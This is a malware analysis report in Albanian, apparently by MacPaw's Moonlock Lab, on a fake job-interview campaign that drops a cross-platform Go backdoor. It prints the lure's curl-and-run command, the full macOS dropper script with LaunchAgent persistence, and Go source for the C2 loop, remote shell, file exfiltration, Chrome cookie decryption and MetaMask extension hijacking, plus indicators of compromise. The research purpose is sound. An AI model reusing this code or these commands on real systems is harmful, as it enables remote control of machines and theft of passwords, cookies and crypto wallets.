
Shkruar nga Ekipi i Laboratorit të Moonlock të MacPaw
Një fushatë e vazhdueshme kibernetike po synon punëkërkuesit me faqe interneti të rreme të intervistave, duke i mashtruar ata që të shkarkojnë një derë të pasme të zhveshur por shumë efektive. Ndryshe nga malware i sofistikuar që përdor teknika mjegullimi, ky sulm mbështetet në thjeshtësinë - duke ofruar kodin burimor së bashku me një Go binar, duke e bërë atë ndër-platformë. Akoma më shqetësuese është përpjekja e saj për të rrëmbyer lejet e shtesës së Chrome MetaMask të lidhur me kriptomonedhën, duke shteruar potencialisht kuletat e viktimave.
Fushata mbetet aktive, me domene të reja që shfaqen rregullisht për të joshur më shumë viktima. Shumë studiues dhe kompani individuale të sigurisë, si p.sh
Ekipi i Laboratorit të Moonlock filloi të gjurmonte pikërisht këtë malware më 9 tetor 2024, kur filluan të shfaqen përbërësit e parë të derës së pasme. Një backdoor është një lloj softueri me qëllim të keq që fshihet në një sistem dhe lejon aktorët e kërcënimit të ekzekutojnë komanda nga distanca, sikur të ishin pronarët legjitimë të stacionit të punës. Këto sulme zakonisht përdorin të ashtuquajturat serverë C2 (Command and Control) për të dërguar dhe ekzekutuar komanda.
Ajo që e veçon këtë sulm nga të tjerët që ne zakonisht vërejmë është se ai përbëhet nga faza të shumta dhe është projektuar për të vazhduar në makinën e viktimës në vend që të përdorë një rrjedhë të vjedhjes së të dhënave të vetme. Një përmbledhje e plotë e fazave të sulmit mund të shihet në imazhin më poshtë.
Tema e parë e strukturuar mirë në X që vumë re u postua nga
Zakonisht fillon me një "rekrutues" nga një kompani e njohur p.sh. Kraken, MEXC, Gemini, Meta. Gama e pagave + stili i mesazheve janë tërheqës - edhe për ata që nuk kërkojnë punë në mënyrë aktive. Kryesisht përmes Linkedin. Gjithashtu faqe freelancer, faqe pune, tg, discord etj.
Për të marrë versionin më të fundit të këtij malware, ishte thelbësore të monitoroheshin domenet e reja që strehonin sajte intervistash të rreme. Për këtë qëllim, ekipi ynë u mbështet në dy tregues të pandryshueshëm që ndajnë këto fusha:
Edhe pse disa nga domenet e përdorura gjatë kësaj fushate po mbyllen, ato të reja vazhdojnë të shfaqen, me më të fundit ende në internet: smarthiretop[.]online . Ekipi ynë ka vërejtur më shumë se 20 domene aktive që nga nëntori 2024.
Pasi hetuam domenet, zbuluam se disa prej tyre ndajnë të njëjtën adresë IP. Kjo ndodh shpesh sepse sulmuesit përdorin ofruesit e pritjes antiplumb, të cilët lejojnë që domenet e shumëfishta të priten në të njëjtin server. Për më tepër, mbajtja e domeneve të shumta në një IP të vetme u mundëson aktorëve të kërcënimit të rrotullojnë domenet pa ndryshuar infrastrukturën e backend-it.
Kjo infrastrukturë me qëllim të keq është pritur në shërbime të ndryshme të shpërndara në mbarë botën. Siç tregohet në hartën më poshtë, shumica e serverëve janë të vendosur në SHBA, me disa të përhapur në vende të tjera.
Komanda me qëllim të keq që të intervistuarve iu kërkua të ekzekutonin fshihet në dritaren që shfaqet kur ata vizitojnë një faqe interneti me qëllim të keq. Është një kod JS, i bashkuar në skedarin main.39e5a388.js në këtë rast. Emra të tillë skedarësh zakonisht gjenerohen duke përdorur një mekanizëm hashing ose gjurmë gishtash gjatë procesit të ndërtimit të një aplikacioni në internet (Referenca:
Një nga faqet ka këtë skedar të ngulitur JS me hash-in e mëposhtëm SHA256:
Ne mund të dallonim lehtësisht se brenda një skedari të ndërtuar JS janë të njëjtat komanda që viktimave iu kërkua të futnin:
Pasi kuptuam se si aktori i kërcënimit përhap malware, qëllimi ynë kryesor ishte të gjenim shpejt mostra dhe të zhvillonim nënshkrime për përdoruesit tanë. Përmendja e parë e drejtpërdrejtë e mostrave "të gatshme për prodhim" dhe hasheve të tyre SHA-256 që gjetëm ishte në këtë temë:
Ai përfshinte pesë hash, përkatësisht për:
Përveç kësaj, ekipi ynë filloi të merrte skriptet me qëllim të keq sikur të ishim mashtruar për t'i shkarkuar ato, ngjashëm me viktimat. Në një moment, komanda e mëposhtme u përdor në faqet e internetit të rreme të intervistave:
Komanda nga pamja e ekranit (mos e ekzekutoni!):
sudo sh -c 'curl -k -o /var/tmp/ffmpeg.sh https://api.nvidia-release.org/ffmpeg-ar.sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &'
Ai kryen veprimet e renditura më poshtë:
Brenda skedarit ffmpeg.sh të ruajtur në një dosje të përkohshme, mund të gjejmë pikën hyrëse për këtë sulm, e cila përfshin:
Siç mund ta shohim nga skripti më poshtë, ai është krijuar posaçërisht për macOS, si për variacionet Intel ashtu edhe ARM. Pasi të përcaktojë modelin aktual të CPU-së, ai shkarkon një arkiv ZIP me skedarë të shumtë. Shqyrtimi më i detajuar i këtij skenari mund të gjendet në
#!/bin/bash # Define variables for URLs ZIP_URL_ARM64="https://api.nvidia-cloud.online/VCam1.update" ZIP_URL_INTEL="https://api.nvidia-cloud.online/VCam2.update" ZIP_FILE="/var/tmp/VCam.zip" # Path to save the downloaded ZIP file WORK_DIR="/var/tmp/VCam" # Temporary directory for extracted files EXECUTABLE="vcamservice.sh" # Replace with the name of the executable file inside the ZIP APP="ChromeUpdateAlert.app" # Replace with the name of the app to open PLIST_FILE=~/Library/LaunchAgents/com.vcam.plist # Path to the plist file # Determine CPU architecture case $(uname -m) in arm64) ZIP_URL=$ZIP_URL_ARM64 ;; x86_64) ZIP_URL=$ZIP_URL_INTEL ;; *) exit 1 ;; # Exit for unsupported architectures esac # Create working directory mkdir -p "$WORK_DIR" # Function to clean up cleanup() { rm -rf "$ZIP_FILE" } # Download, unzip, and execute if curl -s -o "$ZIP_FILE" "$ZIP_URL" && [[ -f "$ZIP_FILE" ]]; then unzip -o -qq "$ZIP_FILE" -d "$WORK_DIR" if [[ -f "$WORK_DIR/$EXECUTABLE" ]]; then chmod +x "$WORK_DIR/$EXECUTABLE" else cleanup exit 1 fi else cleanup exit 1 fi # Step 4: Register the service mkdir -p ~/Library/LaunchAgents cat > "$PLIST_FILE" <<EOL <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.vcam</string> <key>ProgramArguments</key> <array> <string>$WORK_DIR/$EXECUTABLE</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> </dict> </plist> EOL chmod 644 "$PLIST_FILE" if ! launchctl list | grep -q "com.vcam"; then launchctl load "$PLIST_FILE" fi # Step 5: Run ChromeUpdateAlert.app if [[ -d "$WORK_DIR/$APP" ]]; then open "$WORK_DIR/$APP" & fi # Final cleanup cleanup
Referenca:
Përmbajtja e arkivit (versioni për Intel CPU) që merr skripti është renditur më poshtë:
Të gjithë skedarët në arkiv mund të kategorizohen në disa grupe:
Është interesante se arkivi është afërsisht 75 MB në madhësi, kryesisht sepse përfshin shumë pjesë të bibliotekave dhe binareve legjitime Go.
Një nga skedarët që vumë re se po përdorej për një periudhë të gjatë kohore në këtë sulm është një binar universal Mach-O me 2 arkitektura, i quajtur CameraAccess ( SHA256: 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd526579e ).
Ai maskohet si një ikonë e Google Chrome, duke i bërë përdoruesit e rregullt të besojnë se skedari është i ligjshëm dhe duke i penguar ata ta fshijnë atë.
Kodi është shkruar në Swift, dhe nuk u zbuluan teknika të forta mjegullimi, duke e bërë relativisht të lehtë të kuptohej rrjedha e ekzekutimit.
Shfaq një dritare që duket si një dritare e njoftimit të sistemit, duke i kërkuar përdoruesit të lejojë aksesin e mikrofonit, që supozohet se kërkohet nga aplikacioni Google Chrome.
Edhe nëse përdoruesi zgjedh "Më kujto më vonë", përsëri shfaqet një dritare e kërkesës për fjalëkalim.
Aplikacioni pretendon se kërkon qasje në mikrofon; megjithatë, ai është në sandbox dhe nuk është bërë asnjë kërkesë aktuale për leje për mikrofonin.
Pasi përdoruesi fut fjalëkalimin e tij, malware kërkon adresën IP të jashtme të hostit ku po funksionon. Më pas dërgon skedarin password.txt në një dosje Dropbox të emërtuar sipas adresës së jashtme IP të përdoruesit.
Në pamjen e ekranit poshtë mund të dallohet URL-ja e API-së së Dropbox.
Gjatë ekzaminimit të trafikut të rrjetit, ne mund të shohim përpjekje për të tërhequr adresën IP publike të një viktime.
Pasi të merret adresa IP, ne mund të shohim kërkesa në Dropbox për të ngarkuar çiftin e fjalëkalimit IP duke përdorur kredencialet e koduara.
Ekipi ynë e raportoi këtë incident në Dropbox, së bashku me kredencialet e përdorura për të kryer këtë fushatë abuzive.
Është e rëndësishme të theksohet se skedari ZIP i shkarkuar nga skripti ffmpeg.sh përmban kodin burimor të tekstit të thjeshtë të derës së pasme, që do të thotë se nuk ishte as i parapërpiluar dhe as i turbullt. Ai shpejtoi ndjeshëm analizën, por gjithashtu ngriti pyetje në lidhje me atribuimin e duhur. Eshtë e panevojshme të thuhet se grupet APT nga DPRK janë zakonisht shumë më të sofistikuara.
Një strategji tjetër e pazakontë është përfshirja e një Go binar ( /bin/go ) në arkiv në vend që thjesht të përpilohet kodi i plotë. Megjithatë, duke qenë se Go nuk është aplikacioni i paracaktuar në shumë sisteme operative, aktorët e kërcënimit mund ta kenë përfshirë atë për një pajtueshmëri më të mirë. Kjo ka kuptim duke pasur parasysh se malware është ndër-platformë dhe synon macOS, Linux dhe Windows në të njëjtën kohë.
Një grafik që ilustron marrëdhëniet dhe përshkrimin e detajuar të çdo kampioni të rëndësishëm, mund të gjendet këtu:
Brenda arkivit, ekziston një skrip i quajtur vcamupdate.sh . Ai funksionon menjëherë pas shpaketimit dhe thjesht ekzekuton /bin/go (i cili është i bashkuar në ZIP) ndërsa kalon shtegun për në aplikacionin kryesor Golang ( app.go në këtë rast).
#!/bin/bash # Set the working directory to the folder where this script is located cd "$(dirname "$0")" echo "Installing Dependencies..." project_file="app.go" ./bin/go run "$project_file" exit 0
Aplikacioni i hyrjes ( app.go ) është përgjegjës për gjenerimin e një UUID unik për stacionin e punës të përdoruesit, inicializimin e URL-së C2 dhe fillimin e ciklit kryesor. Në kod mund të shohim komente me një rresht, printime të mesazheve mbështetëse dhe disa kode të komentuara. Ai përfshin gjithashtu URL-të e destinuara ndoshta për testim, të harruara për t'u hequr nga zhvilluesit. Pavarësisht se adresa IP C2 ishte e ndryshme në fushatën kryesore, mostrat nga 2024 ndanë të njëjtin funksionalitet dhe synonin të njëjtat të dhëna.
Më vonë thirrja në core.StartMainLoop(id, url) na sjell në dosjen core/ me skedarët loop.go dhe work.go. Skedari loop.go është kryesisht përgjegjës për marrjen dhe ekzekutimin e komandave nga C2, thirrjen e nënmoduleve që mbledhin të dhëna të ndjeshme dhe ngarkimin e tyre në serverin në distancë. Ai përmban shumë funksione, 8 prej të cilave dëshirojmë t'i theksojmë dhe eksplorojmë më në detaje.
Ky funksion përdor nënmodulin e konfigurimit për të inicializuar komandat e disponueshme dhe për të dëgjuar për ato që vijnë. Më poshtë mund të gjeni një tabelë me të gjitha komandat së bashku me kodet e tyre përkatëse. Një analizë më e detajuar e funksionalitetit të derës së pasme mund të gjendet në
Emri i komandës | Emri i koduar | Përshkrimi |
---|---|---|
COMMAND_INFO | qwer | Merrni emrin e përdoruesit, hostin, OS, harkun |
COMMAND_UPLOAD | asdf | Ngarkoni dhe dekompresoni arkivin arbitrar nga C2 në host |
KOMANDA_SHKARKONI | zxcv | Shkarkoni të dhënat e vjedhura në C2 |
COMMAND_OSSHELL | vbcx | Inicializoni shell interaktive midis hostit dhe C2 (ekzekutoni komanda arbitrare në distancë) |
COMMAND_AUTO | r4ys | Mblidhni automatikisht të dhëna të ndjeshme |
COMMAND_PRIT | ghdj | Prisni për X sekonda |
COMMAND_EXIT | dghh | Dil nga cikli kryesor (vendos i gjallë=false) |
Bazuar në komandën e marrë nga C2, do të thirret një funksion i duhur.
func StartMainLoop(id string, url string) { var ( msg_type string msg_data [][]byte msg string cmd string cmd_type string cmd_data [][]byte alive bool ) // initialize cmd_type = config.COMMAND_INFO alive = true for alive { func() { // recover panic state defer func() { if r := recover(); r != nil { cmd_type = config.COMMAND_INFO time.Sleep(config.DURATION_ERROR_WAIT) } }() switch cmd_type { case config.COMMAND_INFO: msg_type, msg_data = processInfo() case config.COMMAND_UPLOAD: msg_type, msg_data = processUpload(cmd_data) case config.COMMAND_DOWNLOAD: msg_type, msg_data = processDownload(cmd_data) case config.COMMAND_OSSHELL: msg_type, msg_data = processOsShell(cmd_data) case config.COMMAND_AUTO: msg_type, msg_data = processAuto(cmd_data) case config.COMMAND_WAIT: msg_type, msg_data = processWait(cmd_data) case config.COMMAND_EXIT: alive = false msg_type, msg_data = processExit() default: panic("problem") } msg = command.MakeMsg(id, msg_type, msg_data) cmd, _ = transport.HtxpExchange(url, msg) cmd_type, cmd_data = command.DecodeMsg(cmd) }() } }
Ky funksion do të mbledhë informacionin bazë të sistemit si emri i përdoruesit, emri i hostit, versioni i OS dhe arkitektura. Vlen të përmendet se shumica e info vjedhësve të njohur mbledhin shumë më shumë informacione të sistemit sesa ky malware.
func processInfo() (string, [][]byte) { user, _ := user.Current() host, _ := os.Hostname() os := runtime.GOOS arch := runtime.GOARCH print("user: " + user.Username + ", host: " + host + ", os: " + os + ", arch: " + arch + "\n") data := [][]byte{ []byte(user.Username), []byte(host), []byte(os), []byte(arch), []byte(config.DAEMON_VERSION), } return config.MSG_INFO, data }
Në këtë rast, ngarkimi përfaqëson procesin e dërgimit të një skedari arkivi nga C2 te hosti i infektuar, i ndjekur nga dekompresimi i tij. Ai gjithashtu tregon nëse dekompresimi ishte i suksesshëm.
func processUpload(data [][]byte) (string, [][]byte) { var log string var state string path := string(data[0]) buf := bytes.NewBuffer(data[1]) err := util.Decompress(buf, path) if err == nil { log = fmt.Sprintf("%s : %d", path, len(data[1])) state = config.LOG_SUCCESS } else { log = fmt.Sprintf("%s : %s", path, err.Error()) state = config.LOG_FAIL } return config.MSG_LOG, [][]byte{ []byte(state), []byte(log), } }
Ky funksion është i kundërt i funksionit të mëparshëm. Ai kryen kompresimin e një drejtorie me skedarë të mbledhur paraprakisht në arkivin tar.gz.
func processDownload(data [][]byte) (string, [][]byte) { var file_data []byte var err error path := string(data[0]) _, file := filepath.Split(path) info, _ := os.Stat(path) if info.IsDir() { var buf bytes.Buffer err = util.Compress(&buf, []string{path}, false) file = fmt.Sprintf("%s.tar.gz", file) file_data = buf.Bytes() } else { file_data, err = os.ReadFile(path) } if err == nil { return config.MSG_FILE, [][]byte{[]byte(config.LOG_SUCCESS), []byte(file), file_data} } else { return config.MSG_FILE, [][]byte{[]byte(config.LOG_FAIL), []byte(err.Error())} } }
Ky është një funksion që duhet të ketë një derë e pasme e vërtetë. Ai pret komandën arbitrare dhe përpiqet ta ekzekutojë atë. Një komandë mund të ketë argumente të linjës së komandës dhe dalja do të regjistrohet drejtpërdrejt në një C2.
func processOsShell(data [][]byte) (string, [][]byte) { mode := string(data[0]) // mode timeout, _ := strconv.ParseInt(string(data[1]), 16, 64) shell := string(data[2]) args := make([]string, len(data[3:])) for index, elem := range data[3:] { args[index] = string(elem) } if mode == config.SHELL_MODE_WAITGETOUT { // wait and get result mode ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)) defer cancel() cmd := exec.CommandContext(ctx, shell, args...) out, err := cmd.Output() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), out, } } } else { // start and detach mode c := exec.Command(shell, args...) err := c.Start() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte(fmt.Sprintf("%s %s", shell, strings.Join(args, " "))), } } } }
Kjo është pika hyrëse e rrjedhës së vjedhjes. Ky funksion përmban thirrje të shumta drejt skedarëve të vendosur në dosjen automatike/. Ato përfshijnë grabbers, përpunues ose modifikues të të dhënave të mëposhtme:
func processAuto(data [][]byte) (string, [][]byte) { var ( msg_type string msg_data [][]byte ) mode := string(data[0]) switch mode { case config.AUTO_CHROME_GATHER: msg_type, msg_data = auto.AutoModeChromeGather() case config.AUTO_CHROME_PREFRST: msg_type, msg_data = auto.AutoModeChromeChangeProfile() case config.AUTO_CHROME_COOKIE: msg_type, msg_data = auto.AutoModeChromeCookie() case config.AUTO_CHROME_KEYCHAIN: msg_type, msg_data = auto.AutoModeMacChromeLoginData() default: msg_type = config.MSG_LOG msg_data = [][]byte{[]byte(config.LOG_FAIL), []byte("unknown auto mode")} } return msg_type, msg_data }
Funksioni i ndihmës përdoret për të dërguar derën e pasme në modalitetin e fjetjes, në pritje të komandave të mëtejshme.
func processWait(data [][]byte) (string, [][]byte) { duration, _ := strconv.ParseInt(string(data[0]), 16, 64) time.Sleep(time.Duration(duration)) send_data := make([]byte, 128) rand.Read(send_data) return config.MSG_PING, [][]byte{send_data} }
Ky është një funksion i dobishëm që përdoret për të dalë nga cikli kryesor i komunikimit me C2.
func processExit() (string, [][]byte) { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte("exited"), } }
Dosja automatike/ përmban një grup aplikacionesh Go:
bazë.shko
const ( userdata_dir_win = "AppData\\Local\\Google\\Chrome\\User Data\\" userdata_dir_darwin = "Library/Application Support/Google/Chrome/" userdata_dir_linux = ".config/google-chrome" extension_dir = "nkbihfbeogaeaoehlefnkodbefgpgknn" extension_hash_key = "protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" extension_setting_key = "extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" secure_preference_file = "Secure Preferences" logins_data_file = "Login Data" keychain_dir_darwin = "Library/Keychains/login.keychain-db" )
chrome_change_pref.go
// get json string func getExtJsonString() string { return `{"active_permissions":{"api": ["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[], "scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]}, "commands":{"_execute_browser_action":{"suggested_key":"Alt+Shift+M","was_assigned":true}},"content_settings":[], "creation_flags":38,"events":[],"first_install_time":"13361518520188298","from_webstore":false, "granted_permissions":{"api":["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[],"scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]},"incognito_content_settings":[], "incognito_preferences":{},"last_update_time":"13361518520188298","location":4,"newAllowFileAccess":true,"path":"C:\\ProgramData\\11.16.0_0","preferences":{}, "regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}` }
// chrome kill if runtime.GOOS == "windows" { cmd := exec.Command("cmd", "/c", "taskkill /f /im chrome.exe") cmd.Run() } else { cmd := exec.Command("/bin/sh", "-c", "killall chrome") cmd.Run() }
chrome_cookie_darwin.go
var ( SALT = "saltysalt" ITERATIONS = 1003 KEYLENGTH = 16 ) func getDerivedKey() ([]byte, error) { out, err := exec.Command( `/usr/bin/security`, `find-generic-password`, `-s`, `Chrome Safe Storage`, `-wa`, `Chrome`, ).Output() if err != nil { return nil, err } temp := []byte(strings.TrimSpace(string(out))) chromeSecret := temp[:len(temp)-1] if chromeSecret == nil { return nil, errors.New("Can not get keychain") } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) return key, nil }
chrome_cookie_other.go
chrome_cookie_win.go
chrome_gather.go
func AutoModeChromeGather() (string, [][]byte) { print("=========== AutoModeChromeGather ===========", runtime.GOOS, "\n") var ( buf bytes.Buffer userdata_dir string path_list []string ) // gather userdata_dir = getUserdataDir() // file system search _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error { if info.Name() == extension_dir && strings.Contains(path, "Local Extension Settings") { path_list = append(path_list, path) } return nil }) _ = util.Compress(&buf, path_list, true) print("=========== End ===========\n") // return data := make([][]byte, 3) data[0] = []byte(config.LOG_SUCCESS) data[1] = []byte("gather.tar.gz") data[2] = buf.Bytes() msg_type := config.MSG_FILE return msg_type, data
Për të përfunduar analizën tonë, duhet të theksojmë pikat më të rëndësishme:
app.blockchain-checkup[.]com app.hiring-interview[.]com app.quickvidintro[.]com app.skill-share[.]org app.vidintroexam[.]com app.willo-interview[.]us app.willohiringtalent[.]org app.willorecruit[.]com app.willotalent[.]pro app.willotalentes[.]com app.willotalents[.]org blockchain-assess[.]com digitpotalent[.]com digitptalent[.]com fundcandidates[.]com hiringinterview[.]org hiringtalent[.]pro interviewnest[.]org smarthiretop[.]online talentcompetency[.]com topinnomastertech[.]com web.videoscreening[.]org willoassess[.]com willoassess[.]net willoassess[.]org willoassessment[.]com willocandidate[.]com willointerview[.]com willomexcvip[.]us winterviews[.]net winyourrole[.]com wtalents[.]in wtalents[.]us wholecryptoloom[.]com
b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182
hxxp://216.74.123.191:8080 hxxp://95.169.180.146:8080